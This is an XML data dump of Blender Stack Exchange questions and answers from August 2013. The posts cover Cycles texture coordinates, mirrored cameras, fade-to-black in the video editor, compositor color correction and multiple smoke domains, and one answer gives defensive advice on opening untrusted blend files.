  <row Id="2096" PostTypeId="1" AcceptedAnswerId="2099" CreationDate="2013-08-02T08:27:16.340" Score="2" ViewCount="961" Body="&lt;p&gt;I would like to have a transparent material like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/05iaw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0nF4I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I get rid of the &lt;em&gt;Texture Coordinate&lt;/em&gt; and &lt;em&gt;Mapping&lt;/em&gt; Nodes? (I just did this because I don't know better)&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-02T16:51:58.890" Title="How could I avoid UV maps when combining procedural Textures?" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2097" PostTypeId="1" AcceptedAnswerId="2108" CreationDate="2013-08-02T08:58:54.790" Score="4" ViewCount="1622" Body="&lt;p&gt;I'm trying to render a building using an orthographic camera. The first side of the building works fine, but when I mirror the camera to the other side of the building the camera is in the right position but the view through the camera is mirrored on the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried different things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Mirror the camera again and rotate it around 180°. Doesn't work, the viewport is still mirrored on one axis. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply Rotation, Location and Scale (doesn't work either)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I fix this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I fixed it with new camera - but the question, or the answer is still interesting.&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="12" LastEditDate="2013-08-04T21:38:43.680" LastActivityDate="2013-08-04T21:38:43.680" Title="Orthographic camera mirrored in viewport?" Tags="&lt;camera&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2098" PostTypeId="2" ParentId="2095" CreationDate="2013-08-02T10:53:08.677" Score="5" Body="&lt;p&gt;It's not clear on what aspects your question is focussed. For this orthographic render I used BI since freestyle isn't available when using cycles. The caracters were made from a plane with a few extrusions and a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iqzi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable freestyle in the render tab :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XmJeV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To control which objects get outline,  create a group (here desk and sitting guy) after that go to the &lt;em&gt;Render Layers Tab&lt;/em&gt; select the group in the highlighted box (red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4qcDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use cycles you might be interested in &lt;a href=&quot;http://nixart.wordpress.com/2012/05/19/blender-cycles-toon-material-node-setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender-cycles-toon-material-node-setup&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-08-02T10:59:00.207" LastActivityDate="2013-08-02T10:59:00.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2099" PostTypeId="2" ParentId="2096" CreationDate="2013-08-02T14:58:42.080" Score="1" Body="&lt;p&gt;You have to keep them. UV Mapping is the default texture coordinate for image textures in Cycles, but the generated textures use generated coordinates by default:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Texture coordinate to sample texture at; defaults to Generated texture&#xA;  coordinates if the socket is left unconnected. (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures&lt;/a&gt;, &lt;strong&gt;Wave Texture&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could simplify the setup if you pressed &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to make the two nodes a group (a group looks like a single node). You can edit a group by pressing &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-08-02T16:51:58.890" LastActivityDate="2013-08-02T16:51:58.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2100" PostTypeId="1" AcceptedAnswerId="2101" CreationDate="2013-08-02T15:00:28.693" Score="12" ViewCount="19670" Body="&lt;p&gt;With Blender Internal (2.79 and older), you can add a UV layer, assign images to each face, Then enable the materials &lt;code&gt;Face Textures&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to to have a single material and multiple images assigned to different faces with Cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this because I'm writing an importer for a format that stores textures and materials as 2 separate values per face, if this is not possible I'll have to split up the material per texture, so I can workaround it if its unsupported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1)&lt;/strong&gt;: As has been suggested you can blend between shaders,&#xA;this works OK for switching between 2 images, however I can't see a good way to do this with 10+ images &lt;em&gt;(probably its possible with a large node setup and mapping nodes, but this becomes quite cumbersome)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2)&lt;/strong&gt;: I've accepted one of the answers, however using blending like this is quite hard to control and not simple to just assign arbitrary images per face (as part of an importer), so I'll likely have to split up the materials per-texture.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-06-07T14:10:46.443" LastActivityDate="2018-09-14T01:40:18.230" Title="Different image textures for one material (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2101" PostTypeId="2" ParentId="2100" CreationDate="2013-08-02T15:47:54.987" Score="10" Body="&lt;p&gt;The standard way of allowing multiple images to be applied to a mesh in a single material is to use the mix value between two shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would either need an extra image per texture to act as a mask or you could use the alpha channel of the texture if it had one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below, the top image is a red square (aligned to a single face of the uv's) with an alpha channel and below it a solid blue texture, being mixed using the alpha channel of the red texture as the factor (fac).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NGI1Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which results in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PcpOH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you &lt;em&gt;can&lt;/em&gt; assign a texture per face, but to my knowledge it either requires another image to act as a mask or an alpha channel to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you can generate such a mask per face, in your script, or all images always have alpha channels marking their borders, this probably isn't going to be a viable solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated Answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to the other answer, this method can also be simply extended by simply adding another mix shader for every extra image texture you wish to add. This allows as many textures as necessary to be used within the limits of the cycles texture limit. As per Greg's comments below, I have replaced the mix shader with mix rgb to be more efficient. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zad0J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In the image above I only use 4 textures to save time. So I use the blue texture (covers the whole uv area) as the base colour. The base colour should be the first image in the node tree for this method to work.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-08-05T12:02:07.297" LastActivityDate="2013-08-05T12:02:07.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2102" PostTypeId="1" CreationDate="2013-08-02T16:10:40.570" Score="16" ViewCount="20718" Body="&lt;p&gt;Is it possible to get fade to black effect (just like in Windows Movie Maker) in the Video Sequence editor?&lt;br&gt;&#xA;If so, how?&lt;/p&gt;&#xA;" OwnerUserId="1033" LastEditorUserId="599" LastEditDate="2013-08-03T02:19:52.347" LastActivityDate="2013-09-03T14:05:36.893" Title="Fade to Black Effect in Video Sequence editor?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2103" PostTypeId="2" ParentId="2100" CreationDate="2013-08-02T16:37:59.000" Score="11" Body="&lt;p&gt;You could assign a Vertex Color layer for each texture. Then use the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/input/attribute.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Attribute&lt;/a&gt; and RGBMix nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qh32n.png&quot; alt=&quot;Example node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To cut down on layers you could use a channel per texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Um7y.png&quot; alt=&quot;Example node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Separating colours from a single layer can be done too but it's a little more complicated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDQok.png&quot; alt=&quot;Example node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="7548" LastEditDate="2018-09-14T01:40:18.230" LastActivityDate="2018-09-14T01:40:18.230" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="2104" PostTypeId="2" ParentId="2102" CreationDate="2013-08-02T16:50:17.273" Score="18" Body="&lt;p&gt;Fading to black is slightly more complicated than it has to be. The trick is to use the cross effect.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add your video clip&lt;/li&gt;&#xA;&lt;li&gt;Add a color strip (under &lt;em&gt;Effect Strip &gt; Color&lt;/em&gt;), the default is black, so leave it at that. Position the color strip at the end of the video clip.&lt;/li&gt;&#xA;&lt;li&gt;Select your video strip then the color strip (Make sure to do it in that order. The cross effect will fade to whichever clip is selected last)&lt;/li&gt;&#xA;&lt;li&gt;Add a cross effect&lt;/li&gt;&#xA;&lt;li&gt;Play the animation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-02T16:50:17.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2105" PostTypeId="1" CreationDate="2013-08-02T17:22:49.387" Score="13" ViewCount="12876" Body="&lt;p&gt;How can I connect clips from the timeline in the video editor to the compositor to add some nodes-color correction, rgb curves etc., to every single clip, or to all of them at once?&lt;/p&gt;&#xA;" OwnerUserId="1034" LastEditorUserId="12" LastEditDate="2013-08-02T21:07:23.097" LastActivityDate="2020-10-20T12:40:35.673" Title="Color correction in the compositor from the video editor" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2106" PostTypeId="2" ParentId="2102" CreationDate="2013-08-02T18:36:25.770" Score="10" Body="&lt;p&gt;You can also animate the Transparency of the clip with a black color strip underneath:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eSvt0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the transparency slider can be found in the &lt;em&gt;Video properties panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the Video Sequence Editor) under &lt;em&gt;Edit strip&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dDKP2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-08-02T18:36:25.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2107" PostTypeId="2" ParentId="2105" CreationDate="2013-08-02T19:30:07.273" Score="2" Body="&lt;p&gt;If you have clips in the Sequence editor and &lt;em&gt;Sequencer&lt;/em&gt; is enabled, they will be used to render. In &lt;em&gt;Render settings &amp;gt; Post Processing&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dU9vE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;They will be effected by the composite nodes if &lt;em&gt;Compositing&lt;/em&gt; and &lt;em&gt;Composite nodes&lt;/em&gt; are enabled.&lt;/p&gt;&#xA;&lt;p&gt;You can add clips into the compositor with the &lt;em&gt;movie clip node&lt;/em&gt; (&lt;em&gt;Add node &amp;gt; Input &amp;gt; Movie Clip&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/azDj9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/video_editing/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In addition to modelling and animation, Blender has a fully functional&#xA;Video Sequence Editor as well as an advanced node-based editor that&#xA;also manipulates a video stream. &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/index.html#node-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compositing&lt;/a&gt; Nodes operate equally&#xA;well on images or video streams, and can apply detailed image&#xA;manipulation on the stream.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T12:40:35.673" LastActivityDate="2020-10-20T12:40:35.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2108" PostTypeId="2" ParentId="2097" CreationDate="2013-08-02T19:48:06.763" Score="3" Body="&lt;p&gt;This is because the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Objects/Editing#Mirroring_objects&quot; rel=&quot;nofollow&quot;&gt;Object mode &lt;em&gt;Mirror&lt;/em&gt;&lt;/a&gt; tool works by scaling -1. (the same thing will happen if you manually scale the camera by -1.) You will also notice that in addition to the viewport being mirrored, Object &lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_%28geometry%29&quot; rel=&quot;nofollow&quot;&gt;Normals&lt;/a&gt;&lt;/em&gt; appear reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Deforming/Mirror&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; about &lt;em&gt;Edit mode&lt;/em&gt; mirror:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The mirror tool in Edit mode is similar to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Advanced/Mirror&quot; rel=&quot;nofollow&quot;&gt;Mirroring in Object mode&lt;/a&gt;.&#xA;  It is exactly equivalent to scaling by -1 vertices, edges or faces&#xA;  around one chosen pivot point and in the direction of one chosen axis,&#xA;  only it is faster/handier. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;note that using an Orthographic or Perspective camera does not change this behavior. It is the same on both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(as already mentioned by Polosson),&lt;br&gt;&#xA;The solution is to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Basics/Rotate&quot; rel=&quot;nofollow&quot;&gt;Rotate&lt;/a&gt; the camera instead of mirroring it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also as already mentioned by Polosson, one way to do this would be to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the building, and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to selection&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;.&lt;/kbd&gt; to change the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;nofollow&quot;&gt;Pivot point&lt;/a&gt;&lt;/em&gt; to &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/3D_Cursor&quot; rel=&quot;nofollow&quot;&gt;Cursor&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the Camera and rotate around the Z axis by 180 degrees. (&lt;kbd&gt;R&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;+&lt;kbd&gt;180&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-02T23:30:44.233" LastActivityDate="2013-08-02T23:30:44.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2109" PostTypeId="1" AcceptedAnswerId="2354" CreationDate="2013-08-02T20:29:15.137" Score="12" ViewCount="4405" Body="&lt;p&gt;If you add more than one &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke/Domain&quot;&gt;Smoke domain&lt;/a&gt; in your scene, the first one will not make any smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get more than one simulation in the same scene?&lt;br&gt;&#xA;(For example, duplicating the entire scene, baking each simulation in separate scenes, then somehow put them all back.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How might this be done?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-08-13T08:28:32.300" Title="Is it possible to have more than one smoke simulation in the same scene?" Tags="&lt;smoke-simulation&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2110" PostTypeId="2" ParentId="2041" CreationDate="2013-08-02T21:05:20.207" Score="12" Body="&lt;p&gt;Yes, It &lt;strong&gt;is&lt;/strong&gt; enough to open a blend file with &lt;code&gt;Trusted Source&lt;/code&gt; disabled. &lt;strong&gt;*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But looking the the text editor is not the only place that can contain code. Animation driver expressions can also contain code too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take care, even when the file is not trusted you could inadvertently run a script by...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Starting the game engine.&lt;/li&gt;&#xA;&lt;li&gt;Rendering with freestyle.&lt;/li&gt;&#xA;&lt;li&gt;Executing a command in the Python console.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are in a situation where you need to load blend files you don't trust (an online render-farm for example). Suggest to sandbox the environment Blender runs in (see &lt;a href=&quot;https://en.wikipedia.org/wiki/Operating-system-level_virtualization&quot; rel=&quot;nofollow&quot;&gt;containers&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; There is the possibility of crafting a file which makes use of a &lt;a href=&quot;https://en.wikipedia.org/wiki/Buffer_overflow#Exploitation&quot; rel=&quot;nofollow&quot;&gt;buffer overrun exploit&lt;/a&gt;, these are much more involved then writing malicious Python scripts.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For reference, this is a known pain-point, see these threads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Python Security gets in the way&quot;&lt;br&gt;&lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2010-April/027216.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-committers/2010-April/027216.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Python Sandbox&quot;&lt;br&gt;&lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2010-March/026778.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-committers/2010-March/026778.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Please turn off Auto Run Python Scripts by default&quot;&lt;br&gt;&lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2013-June/040502.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-committers/2013-June/040502.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Trusted blend files and scripted drivers bug and annoyance&quot;&lt;br&gt;&lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2013-August/041464.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-committers/2013-August/041464.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Keymaps and presets - Security issues?&quot;&lt;br&gt;&lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2015-June/045523.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-committers/2015-June/045523.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-01-11T04:22:31.097" LastActivityDate="2016-01-11T04:22:31.097" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2111" PostTypeId="2" ParentId="2105" CreationDate="2013-08-02T22:31:04.347" Score="12" Body="&lt;p&gt;If you are already working on the video editor and just want to do color correction, then you can do it with an &lt;em&gt;Adjustment Layer&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; and add &lt;em&gt;Effect Strip&lt;/em&gt; &gt; &lt;em&gt;Adjustment Layer&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to bring the &lt;em&gt;Properties panel&lt;/em&gt;, scroll to down to the &lt;em&gt;Modifiers&lt;/em&gt; and from the &lt;em&gt;Add Strip Modifier&lt;/em&gt; drop down menu, you can select whatever you want this strip to do: color balance, curves, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It will affect the strips below, meaning it can affect several strips (several footage clips) at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S7V2W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="599" LastEditDate="2013-08-02T23:18:48.270" LastActivityDate="2013-08-02T23:18:48.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2112" PostTypeId="1" AcceptedAnswerId="2117" CreationDate="2013-08-02T23:15:49.227" Score="5" ViewCount="2393" Body="&lt;p&gt;I'm a (very new) beginner in python, and I was trying to follow &lt;a href=&quot;http://www.youtube.com/watch?v=H44cBzjxbh4&quot;&gt;this&lt;/a&gt; older technique for getting mouse location in 3D space in the Game Engine.&lt;br&gt;&#xA;However, I can't get it to work and I don't know what could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what did I do wrong? (Or if that is not the case, other ways to achieve this?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;http://www.pasteall.org/blend/23173&quot;&gt;blendfile&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-03T00:57:48.903" LastActivityDate="2013-08-06T03:20:59.480" Title="BGE mouse location in 3D space" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2113" PostTypeId="1" AcceptedAnswerId="2115" CreationDate="2013-08-02T23:46:05.913" Score="11" ViewCount="7859" Body="&lt;p&gt;Is there any way to snap an entire selection to the 3d cursor in edit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Selection to Cursor&lt;/em&gt; snaps each individual vertex to the cursor, so the shape is lost:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/21deb.png&quot; alt=&quot;mesh before snapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Typ4t.png&quot; alt=&quot;mesh after snapping&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2016-01-09T23:08:22.930" LastActivityDate="2017-05-08T15:09:44.583" Title="Snap entire selection to the 3d cursor in edit mode" Tags="&lt;snapping&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2114" PostTypeId="1" AcceptedAnswerId="2121" CreationDate="2013-08-02T23:57:50.060" Score="2" ViewCount="310" Body="&lt;p&gt;Why is &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh#Limited_Dissolve&quot; rel=&quot;nofollow noreferrer&quot;&gt;Limited Dissolve&lt;/a&gt; irregular?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested on a simple circle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cBJnY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JgsEN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It removes vertices, but not evenly as one might expect on a perfectly symmetrical mesh.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="372" LastEditDate="2013-08-19T21:15:41.230" LastActivityDate="2013-08-19T21:15:41.230" Title="Why is Limited Dissolve irregular?" Tags="&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2115" PostTypeId="2" ParentId="2113" CreationDate="2013-08-03T00:20:25.073" Score="14" Body="&lt;p&gt;If you grab a recent build of Blender of r58453 or greater (2.7x up), you can use &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Selection to Cursor (Offset)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official commit can be found &lt;a href=&quot;http://www.miikahweb.com/en/blender/svn-logs/commit/58453&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I could not find any documentation but it's pretty intuitive.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2017-05-08T15:09:44.583" LastActivityDate="2017-05-08T15:09:44.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2116" PostTypeId="2" ParentId="2109" CreationDate="2013-08-03T04:05:59.887" Score="4" Body="&lt;p&gt;Blender is limited to simulating one smoke domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I see to do it is make one large smoke domain surrounding all smoke simulations that you want and use multiple emitter objects. I just tested this with ten smoke emitters within the one domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The limitation there would be that each simulation has to use the same domain settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also be able to render each simulation individually and composite together. Depending on your scene, you may need to make sure you get masking data for objects that would pass in front of the sim.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="372" LastEditDate="2013-08-13T08:28:32.300" LastActivityDate="2013-08-13T08:28:32.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
